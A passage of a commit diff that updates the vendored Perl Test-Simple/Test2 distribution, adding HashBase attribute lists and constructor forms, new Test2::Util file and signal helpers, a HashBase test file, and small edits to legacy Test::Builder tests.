+    $Test2::Util::HashBase::VERSION{$into} = $ver if !$Test2::Util::HashBase::VERSION{$into} || $Test2::Util::HashBase::VERSION{$into} > $ver;
+
+    my $isa = _isa($into);
+    my $attr_list = $Test2::Util::HashBase::ATTR_LIST{$into} ||= [];
     my $attr_subs = $Test2::Util::HashBase::ATTR_SUBS{$into} ||= {};
-    my %subs      = (
+
+    my %subs = (
         ($into->can('new') ? () : (new => \&_new)),
         (map %{$Test2::Util::HashBase::ATTR_SUBS{$_} || {}}, @{$isa}[1 .. $#$isa]),
         (
@@ -56,12 +69,13 @@
                 my $p = substr($_, 0, 1);
                 my $x = $_;
                 substr($x, 0, 1) = '' if $STRIP{$p};
+                push @$attr_list => $x;
                 my ($sub, $attr) = (uc $x, $x);
                 $sub => ($attr_subs->{$sub} = sub() { $attr }),
-                $attr => sub { $_[0]->{$attr} },
-                  $p eq '-' ? ("set_$attr" => sub { Carp::croak("'$attr' is read-only") })
-                : $p eq '^' ? ("set_$attr" => sub { Carp::carp("set_$attr() is deprecated"); $_[0]->{$attr} = $_[1] })
-                :             ("set_$attr" => sub { $_[0]->{$attr} = $_[1] }),
+                    $attr => sub { $_[0]->{$attr} },
+                      $p eq '-' ? ("set_$attr" => sub { Carp::croak("'$attr' is read-only") })
+                    : $p eq '^' ? ("set_$attr" => sub { Carp::carp("set_$attr() is deprecated"); $_[0]->{$attr} = $_[1] })
+                    : ("set_$attr" => sub { $_[0]->{$attr} = $_[1] }),
             } @_
         ),
     );
@@ -70,10 +84,65 @@
     *{"$into\::$_"} = $subs{$_} for keys %subs;
 }
 
+sub attr_list {
+    my $class = shift;
+
+    my $isa = _isa($class);
+
+    my %seen;
+    my @list = grep { !$seen{$_}++ } map {
+        my @out;
+
+        if (0.004 > ($Test2::Util::HashBase::VERSION{$_} || 0)) {
+            Carp::carp("$_ uses an inlined version of Test2::Util::HashBase too old to support attr_list()");
+        }
+        else {
+            my $list = $Test2::Util::HashBase::ATTR_LIST{$_};
+            @out = $list ? @$list : ()
+        }
+
+        @out;
+    } reverse @$isa;
+
+    return @list;
+}
+
 sub _new {
-    my ($class, %params) = @_;
-    my $self = bless \%params, $class;
-    $self->init if $self->can('init');
+    my $class = shift;
+
+    my $self;
+
+    if (@_ == 1) {
+        my $arg = shift;
+        my $type = ref($arg);
+
+        if ($type eq 'HASH') {
+            $self = bless({%$arg}, $class)
+        }
+        else {
+            Carp::croak("Not sure what to do with '$type' in $class constructor")
+                unless $type eq 'ARRAY';
+
+            my %proto;
+            my @attributes = attr_list($class);
+            while (@$arg) {
+                my $val = shift @$arg;
+                my $key = shift @attributes or Carp::croak("Too many arguments for $class constructor");
+                $proto{$key} = $val;
+            }
+
+            $self = bless(\%proto, $class);
+        }
+    }
+    else {
+        $self = bless({@_}, $class);
+    }
+
+    $Test2::Util::HashBase::CAN_CACHE{$class} = $self->can('init')
+        unless exists $Test2::Util::HashBase::CAN_CACHE{$class};
+
+    $self->init if $Test2::Util::HashBase::CAN_CACHE{$class};
+
     $self;
 }
 
@@ -139,7 +208,10 @@
     use warnings;
     use My::Class;
 
-    my $one = My::Class->new(foo => 'MyFoo', bar => 'MyBar');
+    # These are all functionally identical
+    my $one   = My::Class->new(foo => 'MyFoo', bar => 'MyBar');
+    my $two   = My::Class->new({foo => 'MyFoo', bar => 'MyBar'});
+    my $three = My::Class->new(['MyFoo', 'MyBar']);
 
     # Accessors!
     my $foo = $one->foo;    # 'MyFoo'
@@ -180,10 +252,14 @@
 
 =over 4
 
-=item $it = $class->new(@VALUES)
+=item $it = $class->new(%PAIRS)
 
-Create a new instance using key/value pairs.
+=item $it = $class->new(\%PAIRS)
 
+=item $it = $class->new(\@ORDERED_VALUES)
+
+Create a new instance.
+
 HashBase will not export C<new()> if there is already a C<new()> method in your
 packages inheritance chain.
 
@@ -204,6 +280,21 @@
 Alternatively you can define the method before loading HashBase instead of just
 declaring it, but that scatters your use statements.
 
+The most common way to create an object is to pass in key/value pairs where
+each key is an attribute and each value is what you want assigned to that
+attribute. No checking is done to verify the attributes or values are valid,
+you may do that in C<init()> if desired.
+
+If you would like, you can pass in a hashref instead of pairs. When you do so
+the hashref will be copied, and the copy will be returned blessed as an object.
+There is no way to ask HashBase to bless a specific hashref.
+
+In some cases an object may only have 1 or 2 attributes, in which case a
+hashref may be too verbose for your liking. In these cases you can pass in an
+arrayref with only values. The values will be assigned to attributes in the
+order the attributes were listed. When there is inheritance involved the
+attributes from parent classes will come before subclasses.
+
 =back
 
 =head2 HOOKS
@@ -215,10 +306,18 @@
 This gives you the chance to set some default values to your fields. The only
 argument is C<$self> with its indexes already set from the constructor.
 
+B<Note:> Test2::Util::HashBase checks for an init using C<< $class->can('init') >>
+during construction. It DOES NOT call C<can()> on the created object. Also note
+that the result of the check is cached, it is only ever checked once, the first
+time an instance of your class is created. This means that adding an C<init()>
+method AFTER the first construction will result in it being ignored.
+
 =back
 
 =head1 ACCESSORS
 
+=head2 READ/WRITE
+
 To generate accessors you list them when using the module:
 
     use Test2::Util::HashBase qw/foo/;
@@ -246,6 +345,32 @@
 
 =back
 
+=head2 READ ONLY
+
+    use Test2::Util::HashBase qw/-foo/;
+
+=over 4
+
+=item set_foo()
+
+Throws an exception telling you the attribute is read-only. This is exported to
+override any active setters for the attribute in a parent class.
+
+=back
+
+=head2 DEPRECATED SETTER
+
+    use Test2::Util::HashBase qw/^foo/;
+
+=over 4
+
+=item set_foo()
+
+This will set the value, but it will also warn you that the method is
+deprecated.
+
+=back
+
 =head1 SUBCLASSING
 
 You can subclass an existing HashBase class.
@@ -256,6 +381,27 @@
 The base class is added to C<@ISA> for you, and all constants from base classes
 are added to subclasses automatically.
 
+=head1 GETTING A LIST OF ATTRIBUTES FOR A CLASS
+
+Test2::Util::HashBase provides a function for retrieving a list of attributes for an
+Test2::Util::HashBase class.
+
+=over 4
+
+=item @list = Test2::Util::HashBase::attr_list($class)
+
+=item @list = $class->Test2::Util::HashBase::attr_list()
+
+Either form above will work. This will return a list of attributes defined on
+the object. This list is returned in the attribute definition order, parent
+class attributes are listed before subclass attributes. Duplicate attributes
+will be removed before the list is returned.
+
+B<Note:> This list is used in the C<< $class->new(\@ARRAY) >> constructor to
+determine the attribute to which each value will be paired.
+
+=back
+
 =head1 SOURCE
 
 The source code repository for HashBase can be found at
@@ -279,7 +425,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util/Trace.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util/Trace.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util/Trace.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,67 +1,9 @@
 package Test2::Util::Trace;
-use strict;
-use warnings;
+require Test2::EventFacet::Trace;
+ at ISA = ('Test2::EventFacet::Trace');
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
-
-use Test2::Util qw/get_tid pkg_to_file/;
-
-use Carp qw/confess/;
-
-use Test2::Util::HashBase qw{frame detail pid tid};
-
-sub init {
-    confess "The 'frame' attribute is required"
-        unless $_[0]->{+FRAME};
-
-    $_[0]->{+PID} = $$        unless defined $_[0]->{+PID};
-    $_[0]->{+TID} = get_tid() unless defined $_[0]->{+TID};
-}
-
-sub snapshot { bless {%{$_[0]}}, __PACKAGE__ };
-
-sub debug {
-    my $self = shift;
-    return $self->{+DETAIL} if $self->{+DETAIL};
-    my ($pkg, $file, $line) = $self->call;
-    return "at $file line $line";
-}
-
-sub alert {
-    my $self = shift;
-    my ($msg) = @_;
-    warn $msg . ' ' . $self->debug . ".\n";
-}
-
-sub throw {
-    my $self = shift;
-    my ($msg) = @_;
-    die $msg . ' ' . $self->debug . ".\n";
-}
-
-sub call { @{$_[0]->{+FRAME}} }
-
-sub package { $_[0]->{+FRAME}->[0] }
-sub file    { $_[0]->{+FRAME}->[1] }
-sub line    { $_[0]->{+FRAME}->[2] }
-sub subname { $_[0]->{+FRAME}->[3] }
-
-sub from_json {
-    my $class = shift;
-	my %p     = @_;
-
-    my $trace_pkg = delete $p{__PACKAGE__};
-	require(pkg_to_file($trace_pkg));
-
-    return $trace_pkg->new(%p);
-}
-
-sub TO_JSON {
-    my $self = shift;
-    return {%$self, __PACKAGE__ => ref $self};
-}
-
 1;
 
 __END__
@@ -72,87 +14,13 @@
 
 =head1 NAME
 
-Test2::Util::Trace - Debug information for events
+Test2::Util::Trace - Legacy wrapper fro L<Test2::EventFacet::Trace>.
 
 =head1 DESCRIPTION
 
-The L<Test2::API::Context> object, as well as all L<Test2::Event> types need to
-have access to information about where they were created.  This object
-represents that information.
+All the functionality for this class has been moved to
+L<Test2::EventFacet::Trace>.
 
-=head1 SYNOPSIS
-
-    use Test2::Util::Trace;
-
-    my $trace = Test2::Util::Trace->new(
-        frame => [$package, $file, $line, $subname],
-    );
-
-=head1 METHODS
-
-=over 4
-
-=item $trace->set_detail($msg)
-
-=item $msg = $trace->detail
-
-Used to get/set a custom trace message that will be used INSTEAD of
-C<< at <FILE> line <LINE> >> when calling C<< $trace->debug >>.
-
-=item $str = $trace->debug
-
-Typically returns the string C<< at <FILE> line <LINE> >>. If C<detail> is set
-then its value will be returned instead.
-
-=item $trace->alert($MESSAGE)
-
-This issues a warning at the frame (filename and line number where
-errors should be reported).
-
-=item $trace->throw($MESSAGE)
-
-This throws an exception at the frame (filename and line number where
-errors should be reported).
-
-=item $frame = $trace->frame()
-
-Get the call frame arrayref.
-
-=item ($package, $file, $line, $subname) = $trace->call()
-
-Get the caller details for the debug-info. This is where errors should be
-reported.
-
-=item $pkg = $trace->package
-
-Get the debug-info package.
-
-=item $file = $trace->file
-
-Get the debug-info filename.
-
-=item $line = $trace->line
-
-Get the debug-info line number.
-
-=item $subname = $trace->subname
-
-Get the debug-info subroutine name.
-
-=item $hashref = $t->TO_JSON
-
-This returns a hashref suitable for passing to the C<<
-Test2::Util::Trace->from_json >> constructor. It is intended for use with the
-L<JSON> family of modules, which will look for a C<TO_JSON> method when
-C<convert_blessed> is true.
-
-=item $t = Test2::Util::Trace->from_json(%$hashref)
-
-Given the hash of data returned by C<< $t->TO_JSON >>, this method returns a
-new trace object of the appropriate subclass.
-
-=back
-
 =head1 SOURCE
 
 The source code repository for Test2 can be found at
@@ -176,7 +44,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2/Util.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,11 +2,17 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
-
+use POSIX();
 use Config qw/%Config/;
+use Carp qw/croak/;
 
+BEGIN {
+    local ($@, $!, $SIG{__DIE__});
+    *HAVE_PERLIO = eval { require PerlIO; PerlIO->VERSION(1.02); } ? sub() { 1 } : sub() { 0 };
+}
+
 our @EXPORT_OK = qw{
     try
 
@@ -17,9 +23,17 @@
     CAN_REALLY_FORK
     CAN_FORK
 
+    CAN_SIGSYS
+
     IS_WIN32
 
     ipc_separator
+
+    do_rename do_unlink
+
+    try_sig_mask
+
+    clone_io
 };
 BEGIN { require Exporter; our @ISA = qw(Exporter) }
 
@@ -143,6 +157,117 @@
 
 sub ipc_separator() { "~" }
 
+sub _check_for_sig_sys {
+    my $sig_list = shift;
+    return $sig_list =~ m/\bSYS\b/;
+}
+
+BEGIN {
+    if (_check_for_sig_sys($Config{sig_name})) {
+        *CAN_SIGSYS = sub() { 1 };
+    }
+    else {
+        *CAN_SIGSYS = sub() { 0 };
+    }
+}
+
+my %PERLIO_SKIP = (
+    unix => 1,
+    via  => 1,
+);
+
+sub clone_io {
+    my ($fh) = @_;
+    my $fileno = fileno($fh);
+
+    return $fh if !defined($fileno) || !length($fileno) || $fileno < 0;
+
+    open(my $out, '>&' . $fileno) or die "Can't dup fileno $fileno: $!";
+
+    my %seen;
+    my @layers = HAVE_PERLIO ? grep { !$PERLIO_SKIP{$_} and !$seen{$_}++ } PerlIO::get_layers($fh) : ();
+    binmode($out, join(":", "", "raw", @layers));
+
+    my $old = select $fh;
+    my $af  = $|;
+    select $out;
+    $| = $af;
+    select $old;
+
+    return $out;
+}
+
+BEGIN {
+    if (IS_WIN32) {
+        my $max_tries = 5;
+
+        *do_rename = sub {
+            my ($from, $to) = @_;
+
+            my $err;
+            for (1 .. $max_tries) {
+                return (1) if rename($from, $to);
+                $err = "$!";
+                last if $_ == $max_tries;
+                sleep 1;
+            }
+
+            return (0, $err);
+        };
+        *do_unlink = sub {
+            my ($file) = @_;
+
+            my $err;
+            for (1 .. $max_tries) {
+                return (1) if unlink($file);
+                $err = "$!";
+                last if $_ == $max_tries;
+                sleep 1;
+            }
+
+            return (0, "$!");
+        };
+    }
+    else {
+        *do_rename = sub {
+            my ($from, $to) = @_;
+            return (1) if rename($from, $to);
+            return (0, "$!");
+        };
+        *do_unlink = sub {
+            my ($file) = @_;
+            return (1) if unlink($file);
+            return (0, "$!");
+        };
+    }
+}
+
+sub try_sig_mask(&) {
+    my $code = shift;
+
+    my ($old, $blocked);
+    unless(IS_WIN32) {
+        my $to_block = POSIX::SigSet->new(
+            POSIX::SIGINT(),
+            POSIX::SIGALRM(),
+            POSIX::SIGHUP(),
+            POSIX::SIGTERM(),
+            POSIX::SIGUSR1(),
+            POSIX::SIGUSR2(),
+        );
+        $old = POSIX::SigSet->new;
+        $blocked = POSIX::sigprocmask(POSIX::SIG_BLOCK(), $to_block, $old);
+        # Silently go on if we failed to log signals, not much we can do.
+    }
+
+    my ($ok, $err) = &try($code);
+
+    # If our block was successful we want to restore the old mask.
+    POSIX::sigprocmask(POSIX::SIG_SETMASK(), $old, POSIX::SigSet->new()) if defined $blocked;
+
+    return ($ok, $err);
+}
+
 1;
 
 __END__
@@ -204,8 +329,44 @@
 
 Convert a package name to a filename.
 
+=item ($ok, $err) = do_rename($old_name, $new_name)
+
+Rename a file, this wraps C<rename()> in a way that makes it more reliable
+cross-platform when trying to rename files you recently altered.
+
+=item ($ok, $err) = do_unlink($filename)
+
+Unlink a file, this wraps C<unlink()> in a way that makes it more reliable
+cross-platform when trying to unlink files you recently altered.
+
+=item ($ok, $err) = try_sig_mask { ... }
+
+Complete an action with several signals masked, they will be unmasked at the
+end allowing any signals that were intercepted to get handled.
+
+This is primarily used when you need to make several actions atomic (against
+some signals anyway).
+
+Signals that are intercepted:
+
+=over 4
+
+=item SIGINT
+
+=item SIGALRM
+
+=item SIGHUP
+
+=item SIGTERM
+
+=item SIGUSR1
+
+=item SIGUSR2
+
 =back
 
+=back
+
 =head1 NOTES && CAVEATS
 
 =over 4
@@ -248,7 +409,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/Test2.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/Test2.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/Test2.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 
 1;
@@ -203,7 +203,7 @@
 
 =head1 COPYRIGHT
 
-Copyright 2016 Chad Granum E<lt>exodist at cpan.orgE<gt>.
+Copyright 2018 Chad Granum E<lt>exodist at cpan.orgE<gt>.
 
 This program is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Test-Simple/lib/ok.pm
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/lib/ok.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/lib/ok.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,5 +1,5 @@
 package ok;
-our $VERSION = '1.302073';
+our $VERSION = '1.302133';
 
 use strict;
 use Test::More ();

Added: vendor/perl/dist/cpan/Test-Simple/t/HashBase.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/HashBase.t	                        (rev 0)
+++ vendor/perl/dist/cpan/Test-Simple/t/HashBase.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,238 @@
+use strict;
+use warnings;
+
+use Test::More;
+
+
+sub warnings(&) {
+    my $code = shift;
+    my @warnings;
+    local $SIG{__WARN__} = sub { push @warnings => @_ };
+    $code->();
+    return \@warnings;
+}
+
+sub exception(&) {
+    my $code = shift;
+    local ($@, $!, $SIG{__DIE__});
+    my $ok = eval { $code->(); 1 };
+    my $error = $@ || 'SQUASHED ERROR';
+    return $ok ? undef : $error;
+}
+
+BEGIN {
+    $INC{'Object/HashBase/Test/HBase.pm'} = __FILE__;
+
+    package
+        main::HBase;
+    use Test2::Util::HashBase qw/foo bar baz/;
+
+    main::is(FOO, 'foo', "FOO CONSTANT");
+    main::is(BAR, 'bar', "BAR CONSTANT");
+    main::is(BAZ, 'baz', "BAZ CONSTANT");
+}
+
+BEGIN {
+    package
+        main::HBaseSub;
+    use base 'main::HBase';
+    use Test2::Util::HashBase qw/apple pear/;
+
+    main::is(FOO,   'foo',   "FOO CONSTANT");
+    main::is(BAR,   'bar',   "BAR CONSTANT");
+    main::is(BAZ,   'baz',   "BAZ CONSTANT");
+    main::is(APPLE, 'apple', "APPLE CONSTANT");
+    main::is(PEAR,  'pear',  "PEAR CONSTANT");
+}
+
+my $one = main::HBase->new(foo => 'a', bar => 'b', baz => 'c');
+is($one->foo, 'a', "Accessor");
+is($one->bar, 'b', "Accessor");
+is($one->baz, 'c', "Accessor");
+$one->set_foo('x');
+is($one->foo, 'x', "Accessor set");
+$one->set_foo(undef);
+
+is_deeply(
+    $one,
+    {
+        foo => undef,
+        bar => 'b',
+        baz => 'c',
+    },
+    'hash'
+);
+
+BEGIN {
+    package
+        main::Const::Test;
+    use Test2::Util::HashBase qw/foo/;
+
+    sub do_it {
+        if (FOO()) {
+            return 'const';
+        }
+        return 'not const'
+    }
+}
+
+my $pkg = 'main::Const::Test';
+is($pkg->do_it, 'const', "worked as expected");
+{
+    local $SIG{__WARN__} = sub { };
+    *main::Const::Test::FOO = sub { 0 };
+}
+ok(!$pkg->FOO, "overrode const sub");
+{
+local $TODO = "known to fail on $]" if $] le "5.006002";
+is($pkg->do_it, 'const', "worked as expected, const was constant");
+}
+
+BEGIN {
+    $INC{'Object/HashBase/Test/HBase/Wrapped.pm'} = __FILE__;
+
+    package
+        main::HBase::Wrapped;
+    use Test2::Util::HashBase qw/foo bar dup/;
+
+    my $foo = __PACKAGE__->can('foo');
+    no warnings 'redefine';
+    *foo = sub {
+        my $self = shift;
+        $self->set_bar(1);
+        $self->$foo(@_);
+    };
+}
+
+BEGIN {
+    $INC{'Object/HashBase/Test/HBase/Wrapped/Inherit.pm'} = __FILE__;
+
+    package
+        main::HBase::Wrapped::Inherit;
+    use base 'main::HBase::Wrapped';
+    use Test2::Util::HashBase qw/baz dup/;
+}
+
+my $o = main::HBase::Wrapped::Inherit->new(foo => 1);
+my $foo = $o->foo;
+is($o->bar, 1, 'parent attribute sub not overridden');
+
+{
+    package
+        Foo;
+
+    sub new;
+
+    use Test2::Util::HashBase qw/foo bar baz/;
+
+    sub new { 'foo' };
+}
+
+is(Foo->new, 'foo', "Did not override existing 'new' method");
+
+BEGIN {
+    $INC{'Object/HashBase/Test/HBase2.pm'} = __FILE__;
+
+    package
+        main::HBase2;
+    use Test2::Util::HashBase qw/foo -bar ^baz/;
+
+    main::is(FOO, 'foo', "FOO CONSTANT");
+    main::is(BAR, 'bar', "BAR CONSTANT");
+    main::is(BAZ, 'baz', "BAZ CONSTANT");
+}
+
+my $ro = main::HBase2->new(foo => 'foo', bar => 'bar', baz => 'baz');
+is($ro->foo, 'foo', "got foo");
+is($ro->bar, 'bar', "got bar");
+is($ro->baz, 'baz', "got baz");
+
+is($ro->set_foo('xxx'), 'xxx', "Can set foo");
+is($ro->foo, 'xxx', "got foo");
+
+like(exception { $ro->set_bar('xxx') }, qr/'bar' is read-only/, "Cannot set bar");
+
+my $warnings = warnings { is($ro->set_baz('xxx'), 'xxx', 'set baz') };
+like($warnings->[0], qr/set_baz\(\) is deprecated/, "Deprecation warning");
+
+
+
+is_deeply(
+    [Test2::Util::HashBase::attr_list('main::HBase::Wrapped::Inherit')],
+    [qw/foo bar dup baz/],
+    "Got a list of attributes in order starting from base class, duplicates removed",
+);
+
+my $x = main::HBase::Wrapped::Inherit->new(foo => 1, baz => 2);
+is($x->foo, 1, "set foo via pairs");
+is($x->baz, 2, "set baz via pairs");
+
+# Now with hashref
+my $y = main::HBase::Wrapped::Inherit->new({foo => 1, baz => 2});
+is($y->foo, 1, "set foo via hashref");
+is($y->baz, 2, "set baz via hashref");
+
+# Now with hashref
+my $z = main::HBase::Wrapped::Inherit->new([
+    1, # foo
+    2, # bar
+    3, # dup
+    4, # baz
+]);
+is($z->foo, 1, "set foo via arrayref");
+is($z->baz, 4, "set baz via arrayref");
+
+like(
+    exception { main::HBase::Wrapped::Inherit->new([1 .. 10]) },
+    qr/Too many arguments for main::HBase::Wrapped::Inherit constructor/,
+    "Too many args in array form"
+);
+
+
+my $CAN_COUNT = 0;
+my $CAN_COUNT2 = 0;
+my $INIT_COUNT = 0;
+BEGIN {
+    $INC{'Object/HashBase/Test/HBase3.pm'} = __FILE__;
+    package
+        main::HBase3;
+    use Test2::Util::HashBase qw/foo/;
+
+    sub can {
+        my $self = shift;
+        $CAN_COUNT++;
+        $self->SUPER::can(@_);
+    }
+
+    $INC{'Object/HashBase/Test/HBase4.pm'} = __FILE__;
+    package
+        main::HBase4;
+    use Test2::Util::HashBase qw/foo/;
+
+    sub can {
+        my $self = shift;
+        $CAN_COUNT2++;
+        $self->SUPER::can(@_);
+    }
+
+    sub init { $INIT_COUNT++ }
+}
+
+is($CAN_COUNT, 0, "->can has not been called yet");
+my $it = main::HBase3->new;
+is($CAN_COUNT, 1, "->can has been called once to check for init");
+$it = main::HBase3->new;
+is($CAN_COUNT, 1, "->can was not called again, we cached it");
+
+is($CAN_COUNT2, 0, "->can has not been called yet");
+is($INIT_COUNT, 0, "->init has not been called yet");
+$it = main::HBase4->new;
+is($CAN_COUNT2, 1, "->can has been called once to check for init");
+is($INIT_COUNT, 1, "->init has been called once");
+$it = main::HBase4->new;
+is($CAN_COUNT2, 1, "->can was not called again, we cached it");
+is($INIT_COUNT, 2, "->init has been called again");
+
+done_testing;
+
+1;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/Builder.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/Builder.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/Builder.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,5 @@
 #!/usr/bin/perl -w
+# HARNESS-NO-STREAM
 
 BEGIN {
     if( $ENV{PERL_CORE} ) {

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/details.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/details.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/details.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,5 @@
 #!/usr/bin/perl -w
+# HARNESS-NO-STREAM
 
 BEGIN {
     if( $ENV{PERL_CORE} ) {

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/done_testing_double.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/done_testing_double.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/done_testing_double.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -16,18 +16,22 @@
 
 my $tb = Test::Builder::NoOutput->create;
 
+# $tb methods expect to be wrapped in at least 1 sub
+sub done_testing { $tb->done_testing(@_) }
+sub ok { $tb->ok(@_) }
+
 {
     # Normalize test output
     local $ENV{HARNESS_ACTIVE};
 
-    $tb->ok(1);
-    $tb->ok(1);
-    $tb->ok(1);
+    ok(1);
+    ok(1);
+    ok(1);
 
 #line 24
-    $tb->done_testing(3);
-    $tb->done_testing;
-    $tb->done_testing;
+    done_testing(3);
+    done_testing;
+    done_testing;
 }
 
 my $Test = Test::Builder->new;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/done_testing_plan_mismatch.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/done_testing_plan_mismatch.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/done_testing_plan_mismatch.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -18,17 +18,22 @@
 
 my $tb = Test::Builder::NoOutput->create;
 
+# TB methods expect to be wrapped
+sub ok { $tb->ok(@_) }
+sub plan { $tb->plan(@_) }
+sub done_testing { $tb->done_testing(@_) }
+
 {
     # Normalize test output
     local $ENV{HARNESS_ACTIVE};
 
-    $tb->plan( tests => 3 );
-    $tb->ok(1);
-    $tb->ok(1);
-    $tb->ok(1);
+    plan( tests => 3 );
+    ok(1);
+    ok(1);
+    ok(1);
 
 #line 24
-    $tb->done_testing(2);
+    done_testing(2);
 }
 
 my $Test = Test::Builder->new;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/fork_with_new_stdout.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/fork_with_new_stdout.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/fork_with_new_stdout.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,8 +3,9 @@
 use warnings;
 
 use Test2::Util qw/CAN_FORK/;
+
 BEGIN {
-    unless(CAN_FORK) {
+    unless (CAN_FORK) {
         require Test::More;
         Test::More->import(skip_all => "fork is not supported");
     }
@@ -20,20 +21,22 @@
 $b->plan('tests' => 2);
 
 my $pipe = IO::Pipe->new;
-if ( my $pid = fork ) {
-  $pipe->reader;
-  my ($one, $two) = <$pipe>;
-  $b->like($one, qr/ok 1/, "ok 1 from child");
-  $b->like($two, qr/1\.\.1/, "1..1 from child");
-  waitpid($pid, 0);
+if (my $pid = fork) {
+    $pipe->reader;
+    my ($one, $two) = <$pipe>;
+    $b->like($one, qr/ok 1/,   "ok 1 from child");
+    $b->like($two, qr/1\.\.1/, "1..1 from child");
+    waitpid($pid, 0);
 }
 else {
-  $pipe->writer;
-  $b->reset;
-  $b->no_plan;
-  $b->output($pipe);
-  $b->ok(1);
-  $b->done_testing;
+    require Test::Builder::Formatter;
+    $b->{Stack}->top->format(Test::Builder::Formatter->new());
+    $pipe->writer;
+    $b->reset;
+    $b->no_plan;
+    $b->output($pipe);
+    $b->ok(1);
+    $b->done_testing;
 }
 
 

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/is_passing.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/is_passing.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/is_passing.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,9 @@
 
 # We're going to need to override exit() later
 BEGIN {
-    *CORE::GLOBAL::exit = sub(;$) {
+    require Test2::Hub;
+    no warnings 'redefine';
+    *Test2::Hub::terminate = sub {
         my $status = @_ ? 0 : shift;
         CORE::exit $status;
     };
@@ -61,7 +63,6 @@
     ok $tb->is_passing, "  and after the ending";
 }
 
-
 # is_passing() vs skip_all
 {
     my $tb = Test::Builder::NoOutput->create;
@@ -68,15 +69,13 @@
 
     {
         no warnings 'redefine';
-        local *CORE::GLOBAL::exit = sub {
-            return 1;
-        };
+        local *Test2::Hub::terminate = sub { 1 };
+
         $tb->plan( "skip_all" );
     }
     ok $tb->is_passing, "Passing with skip_all";
 }
 
-
 # is_passing() vs done_testing(#)
 {
     my $tb = Test::Builder::NoOutput->create;

Modified: vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/no_diag.t
===================================================================
--- vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/no_diag.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Test-Simple/t/Legacy/Builder/no_diag.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,8 +1,13 @@
 #!/usr/bin/perl -w
 
-use Test::More 'no_diag', tests => 2;
+use Test::More 'no_diag';
 
+plan 'skip_all' => "This test cannot be run with the current formatter"
+    unless Test::Builder->new->{Stack}->top->format->isa('Test::Builder::Formatter');
+
 pass('foo');
 diag('This should not be displayed');
 
 is(Test::More->builder->no_diag, 1);
+
